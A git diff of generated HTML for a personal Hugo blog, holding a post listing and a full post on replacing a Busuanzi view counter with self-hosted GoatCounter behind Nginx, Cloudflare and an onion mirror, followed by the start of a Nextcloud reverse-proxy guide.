    It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting. +...

    November 7, 2025 · 8 min · Iman Alipour +

    Cupid is so dumb

    The lyrics are being played in my brain day and night. +“A hopeless romantic all my life” +“Surrounded by couples all the time” +“I guess I should take it as a sign” +But… “I gave a second chance to Cupid” +“But now I’m left here feelin’ stupid” +I might’ve given more than two chances to cupid. +But I’m still left here felling’ stupid. +“I look for his arrows every day” +...

    November 4, 2025 · 3 min · Iman Alipour +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    October 30, 2025 · 10 min · Iman Alipour +

    La Plaza: The Falcones & the Morettis

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    October 25, 2025 · 13 min · Iman Alipour +

    Sadness

    Honestly, I don’t know why I’m doing any of this. I really don’t. I think for me this is a scape from reality. A scape from the sad thing that happened earlier this month. A scape from feeling used, or let’s say abused if you will, and then thrown away. Just like a piece of trash. It’s been hurting more and more. I’ve been lying to myself that I don’t care. That I’ve moved on. +...

    October 24, 2025 · 4 min · Iman Alipour +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    October 23, 2025 · 15 min · Iman Alipour +

    Danya

    Daniel Naroditsky has passed away. I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. I like Fabi a lot, but my all-time favorite is Hikaru. Danya was my favorite commentator. Someone who was so fun to watch explaining complex positions. I think he was indeed, if not the best, one of the best at it. +The occasion is grim. However, let’s remember the immense pressure he was under. Let’s remember how he was accused of cheating by Kramnik many, many times. By a former world champion. Someone who has accused many and has ruined their lives for no reason. The likes of Hikaru! +...

    October 21, 2025 · 2 min · Iman Alipour +

    Skin routine

    I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said, “Knock on wood, you have good skin!”. So… idk why I decided to take extra care of my skin, but I did! +Generally speaking, things like this make me feel good about myself. Like I’m doing something positive while not being tortured! It’s always fun to rub cream on your face or gently massage it. Even cleaning the face skin feels refreshing. Everything also smells nice! +...

    October 20, 2025 · 4 min · Iman Alipour +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    October 18, 2025 · 9 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/page/3/index.html b/public-clearnet/posts/page/3/index.html new file mode 100644 index 0000000..788db94 --- /dev/null +++ b/public-clearnet/posts/page/3/index.html @@ -0,0 +1,41 @@ +Posts | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 17 min · Iman Alipour +

    Movie review: Scent of a Woman

    I’m not a big movie watcher. In fact, I don’t remember the last time I watched a whole movie in a single day. It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so. +...

    October 13, 2025 · 5 min · Iman Alipour +

    Hobbies

    When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. In fact, when being interviewed for the position, I was asked about my hobbies. +For some reason I think I have like the weirdest hobbies of all time. Like, you know, people binge series, go to clubs, bars, hang out, and so on. But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards. +...

    October 10, 2025 · 12 min · Iman Alipour +

    Relationships

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone. +So… do you also think you’re a lover boy, kind, nice person? So do I! I think I’m actually really good at making friends with people. Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things. +...

    October 5, 2025 · 11 min · Iman Alipour +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +

    Hello World

    This is a test hello world post just to make sure everything works! +Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7 SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc 62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt 7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT 6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= =kuAP -----END PGP SIGNATURE----- Verify locally: +curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc gpg --verify hello-world.md.asc hello-world.md

    August 25, 2025 · 1 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/papermod-views-debugging-story/index.html b/public-clearnet/posts/papermod-views-debugging-story/index.html new file mode 100644 index 0000000..2f0bc2f --- /dev/null +++ b/public-clearnet/posts/papermod-views-debugging-story/index.html @@ -0,0 +1,228 @@ +A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) | AlipourIm journeys +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

    I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    The first round of checks

    I added the script site‑wide in layouts/partials/extend_head.html:

    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    DevTools time. Network tab: the script does load:

    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • Request Method: GET
    • Status Code: 304 Not Modified
    • Referrer Policy: strict-origin-when-cross-origin
    • User-Agent: a normal Chromium build (nothing exotic)

    No red flags. Just a perfectly normal 304.

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    The odd message

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    “域名过长,已被禁用 views”

    That’s “domain name too long, disabled.” Wait, what?

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    Two ways out

    At this point I had two clean options:

    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.

    I liked the subdomain (habit, mostly), so I tried Vercount.

    The swap (five-minute fix)

    I removed the Busuanzi script and added Vercount instead:

    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    But if you want to stay with Busuanzi…

    If your apex domain is short enough, pointing the site there works fine. The gist:

    • Set baseURL in Hugo to the apex:

      baseURL = "https://alipourimjourneys.ir/"
      +
    • Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

    • Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

    Post‑mortem checklist (a.k.a. things I learned)

    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.

    Happy ending

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    Final notes

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.


    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.


    1) Clean up old counters (optional, once)

    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.


    2) Run GoatCounter with Docker Compose

    Minimal docker-compose.yml in ~/goatcounter:

    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.


    3) Cloudflare + Origin certificate (CF → origin TLS)

    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • SSL/TLS mode: Full (strict).
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    4) Nginx vhost for the stats subdomain

    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    • Save the official count.js as static/js/count.js in your Hugo repo.

    Then add this to layouts/partials/extend_head.html (loader + helper):

    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    6) Count Tor (.onion) visits into the same site

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.


    7) Troubleshooting quick notes

    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs:
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/pi_service_touchup/index.html b/public-clearnet/posts/pi_service_touchup/index.html new file mode 100644 index 0000000..1d5160c --- /dev/null +++ b/public-clearnet/posts/pi_service_touchup/index.html @@ -0,0 +1,157 @@ +Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin | AlipourIm journeys +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable.

    I didn’t “move Nextcloud to the cloud”.
    I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    This post documents the setup I ended up with:

    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      (in addition to Jellyfin’s own login)

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.


    0) Topology

    The request path looks like:

    Browser +↓ HTTPS (public) +Cloudflare DNS (optional proxy on/off) +↓ +VPS (funbox) — Nginx reverse proxy + Let's Encrypt +↓ HTTP over Tailscale (private 100.x network) +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …

    Why I like it:

    • The Pi can sit behind home router / CGNAT and still be reachable.
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • Internal IPs can change without breaking public URLs.

    1) What’s running on the Pi?

    On iot-hub the “interesting” containers are:

    • nextcloud (Apache variant)
    • nextcloud-db (Postgres)
    • nextcloud-redis
    • jellyfin

    Example docker ps style output (yours may vary):

    nextcloud nextcloud:apache 0.0.0.0:8080->80/tcp +jellyfin jellyfin/jellyfin 0.0.0.0:8096->8096/tcp

    So on the Pi, the services listen on:

    • http://<pi>:8080 for Nextcloud
    • http://<pi>:8096 for Jellyfin

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.


    2) Tailscale: the private wire between VPS and Pi

    Tailscale assigns each node an address like 100.xx.yy.zz.

    In my config, Nginx on funbox points to the Pi via Tailscale:

    • Nextcloud upstream: http://100.104.127.96:8080
    • Jellyfin upstream: http://100.104.127.96:8096

    (Use the Tailscale IP of your Pi.)

    Quick sanity checks from the VPS:

    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).


    3) Nginx on the VPS: reverse proxy blocks

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    Create (or edit):

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    and symlink into sites-enabled.

    Here is a complete working example:

    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
